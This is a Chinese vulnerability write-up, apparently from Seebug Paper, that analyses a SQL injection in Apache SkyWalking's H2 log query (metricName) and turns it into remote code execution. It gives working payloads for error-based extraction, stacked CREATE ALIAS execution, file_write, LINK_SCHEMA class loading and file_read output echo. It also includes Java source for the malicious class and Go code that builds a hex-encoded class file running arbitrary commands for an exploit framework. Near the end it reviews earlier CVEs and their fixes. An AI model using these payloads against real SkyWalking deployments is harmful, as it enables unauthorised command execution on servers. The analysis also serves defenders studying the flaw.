作者:kejaly@白帽匯安全研究院
校對:r4v3zn@白帽匯安全研究院

前言

Apache Skywalking 是分布式系統的應用程序性能監視工具,特別是為微服務,云原生和基于容器(Docker,Kubernetes,Mesos)的體系結構而設計的。

近日,Apache Skywalking 官方發布安全更新,修復了 Apache Skywalking 遠程代碼執行漏洞。

Skywalking 歷史上存在兩次SQL注入漏洞,CVE-2020-9483、CVE-2020-13921。此次漏洞(Skywalking小于v8.4.0)是由于之前兩次SQL注入漏洞修復并不完善,仍存在一處SQL注入漏洞。結合 h2 數據庫(默認的數據庫),可以導致 RCE 。

環境搭建

idea調式環境搭建:

https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7

https://github.com/apache/skywalking/blob/master/docs/en/guides/How-to-build.md#build-from-github

下載地址skywalking v8.3.0版本:

https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz

然后按照官方的直接使用:

./mvnw compile -Dmaven.test.skip=true

image-20210207190043896

然后在 OAPServerStartUp.java main() 函數運行啟動 OAPServer,skywalking-ui 目錄運行 npm run serve 啟動前臺服務,訪問 http://localhost:8081,就搭建起了整個環境。

image-20210207194829609

但是在 RCE 的時候,用 idea 來啟動項目 classpath 會有坑(因為 idea 會自動修改 classpath,導致一直 RCE 不成功),所以最后在 RCE 的時候使用官網提供的 distribution 中的 starup.bat 來啟動。

下載地址: https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz

準備知識

GraphQL基礎

exp 需要通過 GraphQL語句來構造,所以需要掌握 GraphQL 的基本知識

GraphQL 查詢語法

springboot 和 GraphQL 的整合 可以查看下面這個系列的四篇文章:

GraphQL的探索之路 – 一種為你的API而生的查詢語言篇一

GraphQL的探索之路 – SpringBoot集成GraphQL篇二

GraphQL的探索之路 – SpringBoot集成GraphQL之Query篇三

GraphQL的探索之路 – SpringBoot集成GraphQL之Mutation篇四

簡單言之就是在 .graphqls 文件中定義服務,然后編寫實現 GraphQLQueryResolver 的類里面定義服務名相同的方法,這樣 GraphQL 的服務就和 具體的 java 方法對應起來了。

比如 這次漏洞 涉及的 queryLogs 服務:

oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\log.graphqls:

image-20210218230940455

oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java :

image-20210218230120744

skywalking中graphql對應關系

skywalking 中 GraphQL 涉及到的 service 層 ,Resolver , graphqls ,以及 Dao 的位置如下, 以 alarm.graphqls 為例:

Service 層:

oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\AlarmQueryService.java

實現 Resolver 接口層:

oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\AlarmQuery.java

對應的 graphqls 文件:

oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\alarm.graphqls

對應的 DAO :

oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2AlarmQueryDAO.java

漏洞分析

SQL注入漏洞點

根據 github 對應的 Pull : https://github.com/apache/skywalking/pull/6246/files定位到漏洞點

漏洞點在oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java 中的64 行,直接把 metricName append 到了 sql 中:

image-20210218225637282

我們向上找調用 queryLogs 的地方,來到 oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java 中的queryLogs 方法:

image-20210218225901160

再向上找調用 LogQueryService 中的 queryLogs 的地方,會跳到 oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java 中的 queryLogs 方法:

image-20210218230120744

方法所在的類正好實現了 GraphQLQueryResolver 接口,而且我們可以看到傳入 getQueryService().queryLogs 方法的第一個參數(也就是之后的metricName) 是直接通過 condition.getMetricName() 來賦值的。

我們接著回到 H2LogQueryDAO.java 中:

image-20210218232516433

buildCountStatement :

image-20210218232551290

計算 buildCountStatment(sql.toString()) :

image-20210218232820017

這里我們傳入惡意 metricName 為 INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --

成功報錯帶出結果:

RCE

說起 h2 sql 注入導致 RCE , 大家第一反應肯定是利用堆疊注入來定義函數別名來執行 java 代碼,比如這樣構造exp:

"metricName": "INFORMATION_SCHEMA.USERS union  select 1))a where 1=? or 1=? or 1=? ;CREATE ALIAS SHELLEXEC4 AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter('\\\\A'); if(s.hasNext()){return s.next();}else{return '';} }$$;CALL SHELLEXEC4('id');--

但是這里不能執行多條語句,因為要執行 create 語句的話就需要使用分號閉合掉前面的 select 語句,而我們可以看到執行sql 語句的h2Clinet.executeQuery() 底層使用的 prepareStatement(sql) ,prepareStatementer只能編譯一條語句,要編譯多條語句則需要使用 addBatch 和 executeBatch 。

image-20210218234019844

根據公開文檔 https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw ,h2 可以通過 file_write 寫文件 , link_schema 底層使用了類加載。

file_write

image-20210218234406248

file_write:

"metricName": "INFORMATION_SCHEMA.USERS union  all select file_write('6162','evilClass'))a where 1=? or 1=? or 1=? --",

link_schema 函數底層存在一處類加載機制:

image-20210218235014532

image-20210218234747751

image-20210218235000443

loadUserClass 底層使用的是 Class.forName() 去加載:

image-20210219000801674

而這個 driver class 正好是 link_schema 的第二個參數。

link_schema:

"metricName": "INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','evilClass','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --"

結合

那么我們就可以根據 file_write 來寫一個惡意的 class 到服務器,把要執行的 java 代碼寫到 類的 static 塊中,然后 linke_schema 去加載這個類,這樣就可以執行任意的 java 代碼了。

這里寫惡意類的時候有個小技巧,可以先在本地安裝 h2 ,然后利用 h2 來 file_read 讀惡意類,file_read 出來的結果正好就是十六進制形式,所以就可以直接把結果作為 file_write() 的第一個參數

image-20210219000451739

classpath

不得不提 idea 執行 debug 運行的坑,這個坑折騰了好久。使用 idea debug 運行的時候,idea 會修改 classpath https://blog.csdn.net/romantic_jie/article/details/107859901

然后就導致調用 link_schema 的時候總是提示 class not found 的報錯。

所以最后選擇不使用 idea debug 運行,使用官網提供的 distribution 中的 starup.bat 來運行。

下載地址: https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz

雙親委派機制

另外由于雙親委派機制,導致加載一次惡意類之后,再去使用 link_schema 加載的時候無法加載。所以在實際使用的時候,需要再上傳一個其他名字的惡意類來加載。

JDK 版本問題

由于 JVM 兼容性問題,使用低版本 JDK 啟動 skywalking ,如果惡意類使用的編譯環境比目標環境使用的 JDK 版本高的話,在類加載的時候會報 General error 錯誤。

image-20210219143802961

考慮到現在市面上 JDK 版本基本都在 JDK 6 以及以上版本,所以為了使我們的惡意類都能加載,我們在生成惡意類的時候,最好使用 JDK 6 去生成。

javac evil.java -target 1.6 -source 1.6

回顯RCE

既然可以執行任意 java 代碼,其實就可以反彈 shell 了,但是考慮到有些時候機器沒法出網,所以需要想辦法實現回顯 RCE 。

因為得到 h2 version 是通過報錯來回顯的,所以第一個想法就是惡意類中把執行的結果作為異常來拋出,這樣就能達到回顯的效果,但是 loadClass 的時候只會執行 static 塊中的代碼,而 static 塊中又無法向上拋出異常,所以這個思路行不通。

后來想了想,想到可以結合 file_read() 的方法來間接實現回顯 RCE 。也就是說把執行的結果寫到 output.txt 中,然后通過 file_read("output.txt",null) 去讀取結果

惡意類 static 塊如下:

static {
    try {
        String cmd = "whoami";
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        InputStreamReader i = new InputStreamReader(in,"GBK");
        BufferedReader re = new BufferedReader(i);
        StringBuilder sb = new StringBuilder(1024);
        String line = null;

        while((line = re.readLine()) != null) {
            sb.append(line);
        }

        BufferedWriter out = new BufferedWriter(new FileWriter("output.txt"));
        out.write(String.valueOf(sb));
        out.close();
    } catch (IOException var7) {
    }
}

file_read :

"metricName": "INFORMATION_SCHEMA.USERS union  all select  file_read('output.txt',null))a where 1=? or 1=? or 1=? --"

動態字節碼

前面提到過,由于類加載機制,需要每次都上傳一個惡意新的惡意 class 文件,但是其實兩個 class 文件差異并不大,只是執行的命令 ,以及 class 文件名不同而已,所以可以編寫兩個惡意類,利用 beyond compare 等對比工具比較兩個 class 文件的差異,找到差異的地方。

image-20210219005747329

那么我們在整合到 goby 的時候,思路就是每執行一條命令的時候,隨機生成5位文件名,然后用戶根據 要執行的命令來動態修改部分文件名。

classHex := "cafebabe00000034006b07000201000a636c617373"
cmd := "whoami"
if ss.Params["cmd"] != nil{
    cmd = ss.Params["cmd"].(string)
}
// 生成隨機文件名后綴 , 比如 class01234 , class12345
rand.Seed(time.Now().UnixNano())
// 隨機文件名后綴名 以及 對應的十六進制
fileNameSuffix := goutils.RandomHexString(5) //goby 中封裝的生成隨機hex的函數
hexFileNameSuffixString :=  hex.EncodeToString([]byte(fileNameSuffix))

filename := "class"+fileNameSuffix
classHex += hexFileNameSuffixString
classHex += "0700040100106a6176612f6c616e672f4f626a6563740100083C636C696E69743E010003282956010004436F64650800090100"
cmdLen := fmt.Sprintf("%02x",len(cmd))
classHex += cmdLen
cmdHex := hex.EncodeToString([]byte(cmd))
classHex += cmdHex

classHex += "0a000b000d07000c0100116a6176612f6c616e672f52756e74696d650c000e000f01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0a000b00110c0012001301000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0a001500170700160100116a6176612f6c616e672f50726f636573730c0018001901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b07001b0100196a6176612f696f2f496e70757453747265616d52656164657208001d01000347424b0a001a001f0c002000210100063c696e69743e01002a284c6a6176612f696f2f496e70757453747265616d3b4c6a6176612f6c616e672f537472696e673b29560700230100166a6176612f696f2f42756666657265645265616465720a002200250c00200026010013284c6a6176612f696f2f5265616465723b29560700280100176a6176612f6c616e672f537472696e674275696c6465720a0027002a0c0020002b010004284929560a0027002d0c002e002f010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b0a002200310c00320033010008726561644c696e6501001428294c6a6176612f6c616e672f537472696e673b0700350100166a6176612f696f2f42756666657265645772697465720700370100126a6176612f696f2f46696c6557726974657208003901000a6f75747075742e7478740a0036003b0c0020003c010015284c6a6176612f6c616e672f537472696e673b29560a0034003e0c0020003f010013284c6a6176612f696f2f5772697465723b29560a004100430700420100106a6176612f6c616e672f537472696e670c0044004501000776616c75654f66010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f537472696e673b0a003400470c0048003c01000577726974650a0034004a0c004b0006010005636c6f736507004d0100136a6176612f696f2f494f457863657074696f6e01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010003636d640100124c6a6176612f6c616e672f537472696e673b010002696e0100154c6a6176612f696f2f496e70757453747265616d3b0100016901001b4c6a6176612f696f2f496e70757453747265616d5265616465723b01000272650100184c6a6176612f696f2f42756666657265645265616465723b01000273620100194c6a6176612f6c616e672f537472696e674275696c6465723b0100046c696e650100036f75740100184c6a6176612f696f2f42756666657265645772697465723b01000d537461636b4d61705461626c6507005f0100136a6176612f696f2f496e70757453747265616d01000a457863657074696f6e730a000300620c002000060100047468697301000c4c636c617373"
classHex += hexFileNameSuffixString

classHex += "3b0100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b2956010004617267730100135b4c6a6176612f6c616e672f537472696e673b01000a536f7572636546696c6501000f636c617373"
classHex += hexFileNameSuffixString

classHex += "2e6a617661002100010003000000000003000800050006000100070000013b000500070000006c12084bb8000a2ab60010b600144cbb001a592b121cb7001e4dbb0022592cb700244ebb002759110400b700293a04013a05a7000b19041905b6002c572db60030593a05c7fff1bb003459bb0036591238b7003ab7003d3a0619061904b80040b600461906b60049a7000457b1000100000067006a004c0003004e0000003a000e0000000f00030010000e00110019001200220013002e00140031001500340016003c001500460018005800190062001a0067001b006b001e004f00000048000700030064005000510000000e00590052005300010019004e00540055000200220045005600570003002e003900580059000400310036005a005100050058000f005b005c0006005d000000270004ff0034000607004107005e07001a070022070027070041000007ff002d0000000107004c0000000020000600020060000000040001004c00070000003300010001000000052ab70061b100000002004e0000000a00020000000400040005004f0000000c00010000000500630064000000090065006600020060000000040001004c00070000002b0000000100000001b100000002004e0000000600010000000a004f0000000c0001000000010067006800000001006900000002006a"

歷史SQL注入

skywalking 歷史 sql 注入漏洞有兩個,分別是 CVE-2020-9483 和 CVE-2020-13921 ,之前也提到此次漏洞是由于之前兩次 sql 注入漏洞修復并不完善,仍存在一處 sql 注入漏洞。我們不妨也來看看這兩個漏洞。

其實原因都是在執行 sql 語句的時候直接對用戶可控的參數進行了拼接。

而這里說的可控,就是通過 GraphQL 語句來傳入的參數。

CVE-2020-9483 [id 注入]

更改了一個文件,oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetricsQueryDAO.java 文件 https://github.com/apache/skywalking/pull/4639/files

image-20210218223117178

把查詢條件中的 id 換成使用預編譯的方式來查詢。

CVE-2020-13921 [多處注入]

原因是 參數直接拼接到 sql 執行語句中 https://github.com/apache/skywalking/issues/4955

image-20210219101647191

有人提出 還有其他點存在直接拼接的問題。

作者修復方案如下,都是把直接拼接的換成了使用占位符預編譯的方式:

image-20210218110833427

另外作者也按照了上面的提議修改了其他三個文件,也是使用這樣的方法。都是采用占位符來查詢。

修復的文件:

oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java


oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetadataQueryDAO.java [新增]


oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TraceQueryDAO.java

oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/mysql/MySQLAlarmQueryDAO.java

但是上面的 issue 中還提到了:

oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java

oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AggregationQueryDAO.java

oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TopNRecordsQueryDAO.java

作者對這三個沒有修復。而這次的主角就是 h2LogQueryDao.java 中

image-20210218111510902

存在的 sql 注入,而且出問題的就是上面提到的那個地方 metricName 。

對于這次的 sql 注入,作者最后的修復方案是 直接刪除這個metricName 字段

image-20210218111914570

oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
另外由于刪除字段,所以導致了有12處文件都修改了。

這也正是Skywalking遠程代碼執行漏洞預警中提到的未修復完善地方。

image-20210218111953231

思考

這三次 sql 注入的原因都是因為在執行 sql 語句的時候直接對用戶可控的參數進行了拼接,于是嘗試通過查看 Dao 中其他的文件找是不是還存在其他直接拼接的地方。

image-20210218152044933

image-20210219012255163

翻了翻,發現基本都用了占位符預編譯。

一開始發現一些直接拼接 metrics 的地方,但是并不存在注入,比如 H2AggregationQueryDAO 中的 sortMetrics :

image-20210219012611570

向上找到 sortMetics :

image-20210219012438045

繼續向上找:

image-20210219013054810

對應的 aggregation.graphqls :

image-20210219015507348

發現雖然有些是拼接了,但是

image-20210219012438045

會進行判斷,如果 condition.getName 是 UNKNOWN 的話就會直接返回。

參考

Skywalking遠程代碼執行漏洞預警

[CVE-2020-9483/13921]Apache SkyWalking SQL注入

Apache SkyWalking SQL注入漏洞復現分析 (CVE-2020-9483)

Skywalking 8 源碼編譯 IDEA 運行問題

根據配置CLASSPATH徹底弄懂AppCLassLoader的加載路徑問題

SkyWalking調試環境搭建

SkyWalking How to build project

GraphQL 查詢和變更

GraphQL的探索之路 – 一種為你的API而生的查詢語言篇一

GraphQL的探索之路 – SpringBoot集成GraphQL篇二

GraphQL的探索之路 – SpringBoot集成GraphQL之Query篇三

GraphQL的探索之路 – SpringBoot集成GraphQL之Mutation篇四

SkyWalking [CVE] Fix SQL Injection vulnerability in H2/MySQL implementation. #4639

SkyWalking ALARM_MESSAGE Sql Inject #4955

SkyWalking LogQuery remove unused field #6246


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1485/